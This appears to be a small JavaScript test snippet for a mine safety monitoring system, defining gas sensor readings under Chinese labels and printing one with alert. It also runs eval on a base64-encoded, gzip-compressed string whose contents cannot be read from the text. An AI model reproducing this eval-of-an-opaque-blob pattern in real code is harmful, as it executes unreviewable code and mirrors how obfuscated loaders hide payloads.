SOURCE

 
q =   {    
  "安全监测系统": { 
    "1瓦斯":  { 
        实时值:123,
        实时值id:"$1921710383782913_1953776964385793_2_V",
    },  
    "2瓦斯":  {
        实时值:111
    },  
  },
  "安全监测系统2": {
     "1瓦斯":  { 
        实时值:123
    },  
    "2瓦斯":  {
        实时值:111
    },  
  }
} ;
//alert(["a"])
alert(q["安全监测系统"]["1瓦斯"].实时值)     // 3



 


plist=eval(unzip("H4sIAAAAAAAAA9VRSQ7CMAx8zdxju43jY1LCE7j2woX/f4AsRWUVqEhISDmMxpnx2IYmsFufixfMyCNiRrAKQsEBWWEJRsgeqZCpMkmQOiilfRVKM+nOq+FiS81FEH11MY94pXkpu3o9luUmL119y+eQpmJCLOBpm/x0bCkYPJAxKTkJooGNZCYbRdWbHySMajLzfGhfH3rprpL321yG5/fDb56c6KMonfz6znxz6Cehf3Do/9t8wbXkzrVfPud3AwAA"))
Object.setPrototypeOf($, plist);
$["安全监测系统"]["1瓦斯"].实时值